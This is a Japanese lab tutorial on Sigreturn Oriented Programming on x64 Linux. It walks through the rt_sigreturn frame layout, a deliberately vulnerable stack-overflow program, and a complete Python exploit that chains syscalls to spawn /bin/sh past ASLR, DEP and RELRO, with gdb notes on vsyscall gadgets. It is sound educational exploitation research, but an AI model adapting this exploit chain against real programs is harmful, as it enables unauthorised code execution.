x64でSigreturn Oriented ProgrammingによるASLR+DEP+RELRO回避をやってみる
x64環境では、x86環境とは異なり関数の引数はレジスタにセットされる。
このため、ROPにおいてはpop rdi; retなどのgadgetを使い、複数のレジスタに値をセットしてから関数にジャンプする必要がある。
また、x64ではx86に存在したpushad、popad命令がなくなったため、popad命令を利用して複数のレジスタの値を一度にセットすることはできない。
しかし、sigreturnシステムコールを使うと、popad命令のようにスタックに置いた値を複数のレジスタに一度にセットすることができる。
これを利用すると任意のシステムコールを呼ぶことができ、これを連続して行う手法はSigreturn Oriented Programmingとして知られている。
ここでは、x64環境かつASLR+DEP+RELROが有効な条件下において、Sigreturn Oriented Programmingを使ったシェル起動をやってみる。
環境
Ubuntu 12.04 LTS 64bit版
$ uname -a Linux vm-ubuntu64 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:39:31 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
sigreturnシステムコールによる任意のシステムコール実行
シグナルハンドラはユーザが実装するものであるため、その実体となる機械語はメモリ上ではユーザ空間に配置される。 したがって、ユーザ空間のプロセスにシグナルが送られたときは、ユーザ空間からカーネル空間に移った後、再度ユーザ空間に戻りシグナルハンドラが実行されることになる。 しかし、シグナルハンドラの実行が終わったとき、元の実行状態に戻るには何かしらの工夫を行う必要がある。 これは、カーネル空間にはユーザ空間での実行状態は記録されないためである。
Linuxでは、シグナルを受け取ったときの実行状態をユーザ空間のスタックに退避させ、シグナルハンドラの実行が終わったタイミングでこれを復元することにより元の実行状態に戻るということが行われる。 この復元は、sigreturnシステムコールを実行することにより行われる。
x64環境において、システムコールテーブルからsigreturnを探すと次のようになっている。
24 15 64 rt_sigreturn stub_rt_sigreturn
sigreturnシステムコールのシステムコール番号は15であり、strb_rt_sigreturnにあるコードが実行されることがわかる。 この実装について調べると、次のようになっている。
34 #define stub_rt_sigreturn sys_rt_sigreturn
565 asmlinkage long sys_rt_sigreturn(void)
566 {
567 struct pt_regs *regs = current_pt_regs();
568 struct rt_sigframe __user *frame;
569 unsigned long ax;
570 sigset_t set;
571
572 frame = (struct rt_sigframe __user *)(regs->sp - sizeof(long));
573 if (!access_ok(VERIFY_READ, frame, sizeof(*frame)))
574 goto badframe;
575 if (__copy_from_user(&set, &frame->uc.uc_sigmask, sizeof(set)))
576 goto badframe;
577
578 set_current_blocked(&set);
579
580 if (restore_sigcontext(regs, &frame->uc.uc_mcontext, &ax))
581 goto badframe;
582
583 if (restore_altstack(&frame->uc.uc_stack))
584 goto badframe;
585
586 return ax;
587
588 badframe:
589 signal_fault(regs, frame, "rt_sigreturn");
590 return 0;
591 }
sys_rt_sigreturn関数では、スタックに置かれたrt_sigframe構造体を参照し、その中にあるucメンバからレジスタの値を復元するなどしている。 ここで、x64環境におけるrt_sigframe構造体の定義をまとめると次のようになる。
- Linux/arch/x86/include/asm/sigframe.h
- Linux/include/uapi/asm-generic/ucontext.h
- Linux/arch/x86/include/uapi/asm/signal.h
- Linux/arch/x86/include/uapi/asm/sigcontext.h
- Linux/arch/x86/include/uapi/asm/signal.h
63 struct rt_sigframe {
64 char __user *pretcode;
65 struct ucontext uc;
66 struct siginfo info;
67 /* fp state follows here */
68 };
4 struct ucontext {
5 unsigned long uc_flags;
6 struct ucontext *uc_link;
7 stack_t uc_stack;
8 struct sigcontext uc_mcontext;
9 sigset_t uc_sigmask; /* mask last for extensibility */
10 };
127 typedef struct sigaltstack {
128 void __user *ss_sp;
129 int ss_flags;
130 size_t ss_size;
131 } stack_t;
160 struct sigcontext {
161 __u64 r8;
162 __u64 r9;
163 __u64 r10;
164 __u64 r11;
165 __u64 r12;
166 __u64 r13;
167 __u64 r14;
168 __u64 r15;
169 __u64 rdi;
170 __u64 rsi;
171 __u64 rbp;
172 __u64 rbx;
173 __u64 rdx;
174 __u64 rax;
175 __u64 rcx;
176 __u64 rsp;
177 __u64 rip;
178 __u64 eflags; /* RFLAGS */
179 __u16 cs;
180 __u16 gs;
181 __u16 fs;
182 __u16 __pad0;
183 __u64 err;
184 __u64 trapno;
185 __u64 oldmask;
186 __u64 cr2;
187 struct _fpstate __user *fpstate; /* zero when no FPU context */
188 #ifdef __ILP32__
189 __u32 __fpstate_pad;
190 #endif
191 __u64 reserved1[8];
192 };
16 typedef unsigned long sigset_t;
sigreturnシステムコールが呼ばれたときのrspがrt_sigframe構造体の中のucontext構造体の位置にあることに注意し、スタックの状態をまとめると次のようになる。
uc_flags <- rsp &uc_link &ss_sp (stack_t) ss_flags | ss_size v r8 (struct sigcontext) r9 | r10 | r11 | r12 | r13 | r14 | r15 | rdi | rsi | rbp | rbx | rdx | rax | rcx | rsp | rip | eflags | cs/gs/fs | err | trapno | oldmask | cr2 | &fpstate | reserved1[0] | reserved1[1] | reserved1[2] | reserved1[3] | reserved1[4] | reserved1[5] | reserved1[6] | reserved1[7] v uc_sigmask (sigset_t)
sigreturnシステムコールが呼ばれると、スタックに置かれたucontext構造体の値からレジスタの値などが復元される。 そして、ripから実行が再開される。
これを利用し、スタックに上のようなフレームを置いた状態でsigreturnシステムコールを呼ぶと、任意のシステムコールを実行することができる。
具体的には、raxレジスタにシステムコール番号、rdi、rsi、rdx、rcx、r8、r9レジスタにシステムコールの引数、ripにsyscall; retとなるROP gadgetのアドレス、rspにstack pivotするアドレスを置く。
ここで、csレジスタは0x33となるようにする必要がある。
また、&fpstateにはFPU(浮動小数点数演算装置)の状態を表す_fpstate構造体のアドレスを置く必要があるが、NULLを置くこともできる。
NULLを置いた場合は、FPUレジスタは変更されない。
この方法を行うにあたっての条件は次のようになる。
- スタックにNULL文字を置けること
- raxに15をセットできること、あるいは
pop rax; ret(58 C3) などが置かれた実行可能領域のアドレス syscall; ret(0F 05 C3) が置かれた実行可能領域のアドレス
Sigreturn Oriented Programmingによるシステムコールの連続実行
上の方法を使うと任意のシステムコールを実行することができるが、raxが15となるように調整できれば再びシステムコールを実行することができる。 たとえば、x64環境でのreadシステムコールを利用した次のような方法がある。
- sigreturnシステムコールを使い、
read(fd, fixed_writable_addr, 306)を実行する。 - readの戻り値としてraxレジスタに306がセットされる。これはsyncfsのシステムコール番号である。
- rspに
syscall; retを置いておくことで、syncfs(fd)を実行する。 - syncfsの戻り値としてraxレジスタに0がセットされる。これはreadのシステムコール番号である。
- さらにrspに
syscall; retを置いておくことで、read(fd, fixed_writable_addr, 306)を再び実行する。 - 送り込む文字を15バイトとすることで、raxレジスタに15をセットする。これはsigreturnのシステムコール番号である。
- sigreturnを使い、任意のシステムコールを実行する。
fixed_writable_addrは固定の書き込み可能アドレスであり、実行ファイルのbssセグメントのアドレスなどが利用できる。
脆弱性のあるプログラムを用意する
スタックバッファオーバーフローを起こせるコードを書いてみる。
/* bof.c */
#include <unistd.h>
int main()
{
char buf[100];
int size;
/* pop rax; ret; syscall; ret; */
char chaet[] = "\x58\xc3\x90\x90\x0f\x05\xc3";
read(0, &size, 8);
read(0, buf, size);
write(1, buf, size);
return 0;
}
このコードは最初に8バイトのデータ長を読み込み、続くデータをそのデータ長だけ読み込んだ後出力する。
また、このコードではROP gadgetとしてpop rax; ret、syscall; retを意図的に埋め込んでいる。
実際は、実行ファイルのバイナリ中にこれらのgadgetがないか探す必要がある。
ASLR、DEP、RELRO有効、SSP無効でコンパイルし実行してみる。
$ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ gcc -fno-stack-protector -Wl,-z,relro,-z,now bof.c $ echo -en "\x04\x00\x00\x00\x00\x00\x00\x00AAAA" | ./a.out AAAA
エクスプロイトコードを書いてみる
上で説明した内容をもとに、Sigreturn Oriented Programmingを行うエクスプロイトコードを書くと次のようになる。
# exploit.py
import sys
import struct
from subprocess import Popen, PIPE
bufsize = int(sys.argv[1])
addr_bss = 0x0000000000601028 # readelf -S a.out
addr_pop_rax = 0x0040054f # 0x0040054f: pop rax ; ret ; (1 found)
addr_syscall = 0x00400556 # 0x00400556: syscall ; ret ; (1 found)
# addr_syscall = 0xffffffffff600007
stack_size = 0x800
base_stage = addr_bss + stack_size
buf1 = 'A' * bufsize
buf1 += 'A' * (8-len(buf1)%8)
buf1 += 'AAAAAAAA' * 2
buf1 += struct.pack('<Q', addr_pop_rax)
buf1 += struct.pack('<Q', 15)
buf1 += struct.pack('<Q', addr_syscall)
buf1 += 'AAAAAAAA' * 5
buf1 += struct.pack('<Q', 0) * 8 # r8-r15
buf1 += struct.pack('<Q', 0) # rdi
buf1 += struct.pack('<Q', base_stage) # rsi
buf1 += struct.pack('<Q', 0) # rbp
buf1 += struct.pack('<Q', 0) # rbx
buf1 += struct.pack('<Q', 306) # rdx
buf1 += struct.pack('<Q', 0) # rax
buf1 += struct.pack('<Q', 0) # rcx
buf1 += struct.pack('<Q', base_stage) # rsp
buf1 += struct.pack('<Q', addr_syscall) # rip
buf1 += struct.pack('<Q', 0) # eflags
buf1 += struct.pack('<Q', 0x33) # csgsfs
buf1 += 'AAAAAAAA' * 4
buf1 += struct.pack('<Q', 0) # &fpstate
buf2 = struct.pack('<Q', addr_syscall)
buf2 += struct.pack('<Q', addr_syscall)
buf2 += struct.pack('<Q', addr_syscall)
buf2 += 'AAAAAAAA' * 5
buf2 += struct.pack('<Q', 0) * 8 # r8-r15
buf2 += struct.pack('<Q', base_stage + 8*34) # rdi
buf2 += struct.pack('<Q', base_stage + 8*32) # rsi
buf2 += struct.pack('<Q', 0) # rbp
buf2 += struct.pack('<Q', 0) # rbx
buf2 += struct.pack('<Q', 0) # rdx
buf2 += struct.pack('<Q', 59) # rax
buf2 += struct.pack('<Q', 0) # rcx
buf2 += struct.pack('<Q', base_stage) # rsp
buf2 += struct.pack('<Q', addr_syscall) # rip
buf2 += struct.pack('<Q', 0) # eflags
buf2 += struct.pack('<Q', 0x33) # csgsfs
buf2 += 'AAAAAAAA' * 4
buf2 += struct.pack('<Q', 0) # &fpstate
buf2 += struct.pack('<Q', base_stage + 8*34)
buf2 += struct.pack('<Q', 0)
buf2 += '/bin/sh\x00'
buf2 += 'A' * (306-len(buf2))
p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE)
p.stdin.write(struct.pack('<Q', len(buf1)))
p.stdin.write(buf1)
print "[+] read: %r" % p.stdout.read(len(buf1))
p.stdin.write(buf2)
p.stdin.write('A' * 15)
import time
time.sleep(1e-3)
p.stdin.write('exec <&2 >&2\n')
p.wait()
このコードは、オーバーフローさせるバッファのサイズを引数に取る。 コードの内容を簡単にまとめると次のようになる。
pop rax; retによりraxに15をセット- sigreturnシステムコール(15)を使い、readシステムコール(0)を実行、データを306バイト読み込みstack pivotを行う
- syncfsシステムコール(306)を使い、raxに0をセット
- readシステムコール(0)を使い、データを15バイト読み込みraxに15をセット
- sigreturnシステムコール(15)を使い、execveシステムコール(59)を実行、シェルを起動する
ここで、括弧の中の数字はx64環境におけるシステムコール番号である。 また、2度目のreadシステムコールで15バイトのみ読み込ませるため、エクスプロイトコード側で1msのsleepを行っている。
引数をセットし実行してみる。
$ python exploit.py 100 [+] read: 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAO\x05@\x00\x00\x00\x00\x00\x0f\x00\x00\x00\x00\x00\x00\x00V\x05@\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x002\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(\x18`\x00\x00\x00\x00\x00V\x05@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x003\x00\x00\x00\x00\x00\x00\x00AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00\x00\x00\x00\x00\x00\x00\x00' id[ENTER] uid=1000(user) gid=1000(user) groups=1000(user) [CTRL+D]
Sigreturn Oriented Programmingにより、x64環境かつASLR+DEP+RELROが有効な条件下でシェルが起動できていることが確認できた。
なお、straceコマンドにより実行時のシステムコールをトレースすると次のようになる。
ここでは-fオプションを使い、子プロセスについてもトレースを行う。
$ strace -f python exploit.py 100 >/dev/null
execve("/usr/bin/python", ["python", "exploit.py", "100"], [/* 18 vars */]) = 0
...
clone(Process 14096 attached
child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7f9ae8f789d0) = 14096
...
[pid 14096] execve("./a.out", ["./a.out"], [/* 18 vars */] <unfinished ...>
...
[pid 14096] rt_sigreturn(0x1) = 0
[pid 14096] read(0, "V\5@\0\0\0\0\0V\5@\0\0\0\0\0V\5@\0\0\0\0\0AAAAAAAA"..., 306) = 306
[pid 14096] syscall_306(0, 0x601828, 0x132, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) = 0
[pid 14096] read(0, "AAAAAAAAAAAAAAA", 306) = 15
[pid 14096] rt_sigreturn(0) = 59
[pid 14096] execve("/bin/sh", ["/bin/sh"], [/* 0 vars */] <unfinished ...>
...
上の結果から、指定した通りの順番でシステムコールが実行されていることが確認できる。
vsyscallページのROP gadgetについて
Linux 3.3より前のバージョンのx64環境では、0xffffffffff600000の固定アドレスにvsyscallと呼ばれるメモリページが存在する。
このページにはgettimeofthedayシステムコールなどを呼び出すコードが置かれており、ROP gadgetとしてsyscall; retが入っている。
実際にgdbを使って調べてみると、次のようになる。
$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disable-randomization off
(gdb) start
Temporary breakpoint 1 at 0x400548
Starting program: /home/user/tmp/a.out
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7fff7ef56000
Temporary breakpoint 1, 0x0000000000400548 in main ()
(gdb) i proc map
process 14144
Mapped address spaces:
Start Addr End Addr Size Offset objfile
0x400000 0x401000 0x1000 0x0 /home/user/tmp/a.out
...
0x7fff7ee6f000 0x7fff7ee90000 0x21000 0x0 [stack]
0x7fff7ef56000 0x7fff7ef58000 0x2000 0x0 [vdso]
0xffffffffff600000 0xffffffffff601000 0x1000 0x0 [vsyscall]
(gdb) x/10i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret
0xffffffffff60000a: int3
0xffffffffff60000b: int3
0xffffffffff60000c: int3
0xffffffffff60000d: int3
0xffffffffff60000e: int3
0xffffffffff60000f: int3
0xffffffffff600010: int3
上の結果から、syscall; retのアドレスとして0xffffffffff600007が使えそうなことがわかる。
そこで、raxレジスタに0(readシステムコール)をセットしジャンプしてみる。
(gdb) set $rax = 0 (gdb) jump *0xffffffffff600007 Continuing at 0xffffffffff600007. Program received signal SIGSEGV, Segmentation fault. 0xffffffffff600007 in ?? ()
上の結果から、readシステムコールは実行されずセグメンテーション違反で落ちていることがわかる。
これは、カーネルのboot optionとしてvsyscall=emulateが指定されていることによるものである。
この場合、vsyscallページに直接ジャンプすることはできなくなる。
vsyscallパラメータは値としてemulateの他にnative、noneを取ることができ、nativeであれば上のようなgadgetを利用することが可能となる。